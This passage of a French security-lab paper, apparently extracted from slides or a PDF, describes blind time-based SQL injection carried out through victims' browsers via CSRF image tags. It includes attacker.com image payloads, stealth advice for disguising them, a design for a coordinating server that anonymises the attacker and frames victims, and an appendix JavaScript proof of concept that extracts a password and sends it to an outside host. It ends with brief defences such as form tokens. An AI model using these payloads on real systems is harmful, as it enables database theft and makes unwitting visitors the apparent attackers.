. com/chrono . cgi " /> 7 <img src=" http :// vuln . com/page? id=SQL_INJECTION" /> 8 <img src=" http :// attacker . com/chrono . cgi " /> 9 [ . . . ] Explication : – Engluage du client (glue.cgi, cgi qui ne répond pas) – Lancement du chrono – Time based injection – Arrêt du chrono, puis lancement du suivant – etc... Il est donc possible de récupérer pour chacune des injections, le temps d’éxé- cution des requêtes. Le problème lié à javascript est donc résolu. Les images, contrairement aux scripts, peuvent être posées sur un forum, un blog, ou envoyées par mail. Il reste encore le fait que l’attaque est claire- ment identifiable au niveau de la source du mail ou de la page. L’attaque n’est aussi plus scriptable, prenons l’exemple basique vu précé- demment : IF(password’s first letter = ’a’, SLEEP(5), SELECT 1) L’attaque complète testerait donc les lettres une par une, et une fois la pre- mière lettre trouvée, passerait à la suivante. Cela devient impossible car il 6 Oui, ce n’est pas un mythe, des gens l’installent et certains arrivent même à s’en servir 7 Il est important de noter que par exemple pour Gecko, cette valeur max de requêtes n’est atteignable qu’en utilisant plusieurs domaines. Il existe une limitation de 4 requêtes par domaine. 8 on parlera d’engluer le client, ne pas lui répondre tout en gardant la connexion ouverte. Cela permet de geler les threads.
  • 7. 3.2 Some more advanced research Epitech : Security Lab faut prévoir les liens avant d’envoyer le mail (ou de poster son message). Il nous faudrait donc tester toutes les lettres qui suivent ’a’, même si cette dernière est la bonne. Le dernier point négatif est qu’il devient difficile de maitriser une exploita- tion massive non contrôlée du site vulnérable (dans le cas ou l’exploitation serait postée sur un forum à très grosse fréquentation). La solution à ce problème a été vite trouvée, il suffit de fournir uniquement des liens vers un de nos cgis, qui se chargerait de générer des redirections en fonction des résultats précédents. Cela permet : – Une généricitée de l’exploitation (liens fixes) – De faciliter le calcul du max-requests (pour la glue) – De maitriser le tout (il suffit d’arrêter les redirections et de fournir des images valides) – D’anonymiser l’attaque (le referer ne suit pas les redirections 9) Le code ne contient donc plus de lien avec le site vulnérable. 1 <img src=" http :// attacker . com/?RANDOM" /> 2 <img src=" http :// attacker . com/?RANDOM" /> 3 <img src=" http :// attacker . com/?RANDOM" /> 4 [ . . . ] Dans un soucis de furtivité, il pourra ressembler à10 : 1 <img src=" http :// attacker . com/img/ front . png" /> 2 <img src=" http :// attacker . com/img/ logo . png" /> 3 <img src=" http :// attacker . com/img/bottom . png" /> 4 [ . . . ] 9 constaté sur tous les clients 10 Le but étant de paraître légitime, de forcer l’utilisateur à afficher les images. On pourra utiliser d’alignements horribles, et de mots clefs chocs.
  • 8. 4 Some code - The server Epitech : Security Lab 4 Some code - The server 4.1 Presentation Il devenait de plus en plus compliqué et inutile d’utiliser des cgi pour satisfaire les besoins de ces attaques. De plus la qualité de l’exploitation se basant essentiellement sur les temps de réponse, le soucis d’optimisation se faisait de plus en plus pesant. Nous avons donc décidé de commencer le développement d’un serveur mul- tiplexe en C. Les features sont les suivantes : – L’identification des clients (permet de cibler des victimes) – Le calcul automatique de l’engluage – L’interface de scripting (pour les injections classiques) – Les liens totalement génériques – La distribution intelligente des injections sur plusieurs victimes Les seuls logs qui permettraient d’identifier que l’attaque vient du faux ser- veur et non de la victime sont dans la mémoire des clients. Autant dire très éphémères. Les logs sur les serveurs attaqués portent bien comme origine la marque de la victime. Les fonctionnalitées de session, et d’automatisation permettent de décentra- liser complètement une attaque. 4.2 Welcome to the real world Donnons quelques exemples réels afin de bien situer ce qu’il est possible de faire : – Dump complet d’une database depuis plusieurs milliers de machines qui ne sont que de simples visiteurs d’un site web, ou de simples lec- teurs d’une mailing-list. Une sorte de mini-botnet à usage ponctuel. – Michel arrive au boulot, lit ses mails, et se retrouve l’auteur d’une at- taque envers une société concurrente, avec pour seule preuve un mail publicitaire qui contient beaucoup de décor HTML. – Chose dont on a pas parlé jusqu’alors, mais les injections SQL sur les panels d’administration, les espaces restreints, deviennent possibles depuis n’importe quelle page sur le web. Les avantages du cassage de la Cross Domain Policy pour les injections SQL.
  • 9. 5 Conclusions Epitech : Security Lab 5 Conclusions 5.1 Solutions Toute cette étude permet de prouver encore une fois l’importance de la sensibilisation des développeurs aux problèmes des CSRF. L’utilisation de tokens au sein des formulaires reste la solution la plus évidente (tout en se tenant au courant des dernières informations sur le sujet[5]). Dans le cas des attaques par mail, forcer le client mail à ne pas interpréter le HTML. Dans un registre plus idyllique : – Supprimer toutes les injections SQL de la planète – Renforcer la Cross Domain Policy sur les images (empêcher qu’un site A utilise des images hébergées sur un site B). Dans le cas des CSRF, c’est clairement un problème de design, solutionner ce problème implique de revoir complètement les normes autant côté navigateur que serveur. C’est bien évidemment impossible aujourd’hui, le “Web 2.0” étant florissant, les choses ne peuvent que s’aggraver. Il reste donc à utiliser des rustines comme les tokens, le check des referer, traitement des entrées sorties par signatures... 5.2 Victim Tant que le développement web sera fait par des gens non sensibilisés aux plus évidentes règles de sécurité, que des langages à pièges comme PHP seront “maitrisés” entre deux cours de géographie, il va falloir se faire à l’idée de surfer avec netcat et lire ses mails avec gnus. 5.3 Evil Researcher Imagination et créativité sont les maitres mots pour ces nouveaux vec- teurs d’exploitation. Piéger les crawlers de Google, utiliser des playlists de flux audios, etc... On notera aussi l’arrivée sur le marché de technologies comme Adobe Integrated Runtime, qui permettront au développeur web d’augmenter son rayon d’action, en lui offrant la possibilitée de développer des applications pour le bureau11. 11 Conclusion très personnelle : on est pas près de s’ennuyer.
  • 10. A PoC javascript - Decentralized SQL injectionEpitech : Security Lab A PoC javascript - Decentralized SQL injection 1 <script> 2 // conf 3 stime = 0 . 5 ; 4 s u r l = ’ http :// attack . com/ s s t i c /? id = ’; 5 save_pass = ’ http :// haxhome . biz / savepass . php? pass = ’; 6 7 table_name = ’ pass ’ ; 8 table_fieldname = ’ pass ’ ; 9 table_id = 1; 10 11 // i n i t globals counters 12 pos = 1; 13 len = 0; 14 pass = ’ ’ ; 15 goodlen = 0; 16 chr_pos = 0; 17 chr_tab = Array (97 , 98 , 99 , 100 , 101 , 102 , 103 , 104 , 105 , 106 , 107 , 108 , 109 , 110 , 111 , 112 , 113 , 114 , 115 , 116 , 117 , 118 , 119 , 120 , 121 , 122 , //a−z 18 48 , 49 , 50 , 51 , 52 , 53 , 54 , 55 , 56 , 57 , //0−9 19 65 , 66 , 67 , 68 , 69 , 70 , 71 , 72 , 73 , 74 , 75 , 76 , 77 , 78 , 79 , 80 , 81 , 82 , 83 , 84 , 85 , 86 , 87 , 88 , 89 , 90 , //A−Z 20 32 , 33 , 34 , 35 , 36 , 37 , 38 , 39 , 40 , 41 , 42 , 43 , 44 , 45 , 46 , 47 , 58 , 59 , 60 , 61 , 62 , 63 , 64 , 91 , 92 , 93 , 94 , 95 , 96 , 123 , 124 , 125 , 126) ; // other 21 chr_tab_len = chr_tab . length ; 22 is_logged = 0; 23 function s p l o i t () 24 { 25 i f (( pos > len && goodlen ) ) 26 { 27 var img = new Image () ; 28 a l e r t ( ’ pass : ’ + pass ) ; 29 img . src = save_pass + pass ; 30 return ; 31 } 32 var img = new Image () ; 33 s t a r t = new Date () ; 34 img . onerror = function ( e ) 35 { 36 end = new Date () ; 37 i f ( end . getTime () − s t a r t . getTime () > stime ∗ 1000) 38 { 39 i f ( ! is_logged ) 40 is_logged = 1;
  • 11. A PoC javascript - Decentralized SQL injectionEpitech : Security Lab 41 e l s e i f ( ! goodlen ) 42 goodlen = 1; 43 e l s e 44 { 45 pos++; 46 pass += String . fromCharCode ( chr_tab [ chr_pos ] ) ; 47 chr_pos = 0; 48 } 49 } 50 e l s e 51 { 52 i f ( ! is_logged ) 53 return ; 54 i f ( ! goodlen ) 55 len++; 56 e l s e 57 { 58 i f ( chr_pos >= chr_tab_len ) 59 return ; // char not found 60 chr_pos++; 61 } 62 } 63 s p l o i t () ; 64 } 65 i f ( ! is_logged ) 66 query = ’(( s e l e c t 1) ) ’ ; 67 e l s e i f ( ! goodlen ) 68 query = ’(( s e l e c t length ( pass ) from ’+table_name+’ where id=’+table_id +’)= ’+ len +’) ’ ; 69 e l s e 70 query = ’(( s e l e c t a s c i i (( s e l e c t substr (’+ table_fieldname +’,’+ pos + ’ ,1) from ’+table_name +’ where id=’+table_id +’) )=’+chr_tab [ chr_pos ]+ ’) ) ’ ; 71 img . src = s u r l +’ i f (( ’+ query +’) , sleep (’+ stime +’) ,0) ’ ; 72 } 73 74 s p l o i t () ; 75 76 </ script>
  • 12. RÉFÉRENCES Epitech : Security Lab Références [1] Epitech : Security Lab, Index of ACSRF http ://esl.epitech.net/acsrf [2] Wikipedia-en, Cross-site request forgery http ://en.wikipedia.org/wiki/Cross-site_request_forgery [3] Robert Auger, The Cross-Site Request Forgery FAQ http ://www.cgisecurity.com/articles/csrf-faq.shtml [4] Ferruh Mavituna, SQL Injection Cheat Sheet http ://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ [5] Insane Security, Regenerative Tokens http ://insanesecurity.wordpress.com/2008/05/29/regenerative-tokens/ [6] Daniel Chmielewski, Hiding the HTTP Referer with PHP, JS or Meta Refresh http ://www.dankind.com/blog/145/hiding-the-http-referer-with-php-js- or-meta [7] Slightly Shady SEO, Controlling Your Referer, and Hiding Your Traffic Sources http ://www.slightlyshadyseo.com/index.php/controlling-your-referer- and-hiding-your-traffic-sources/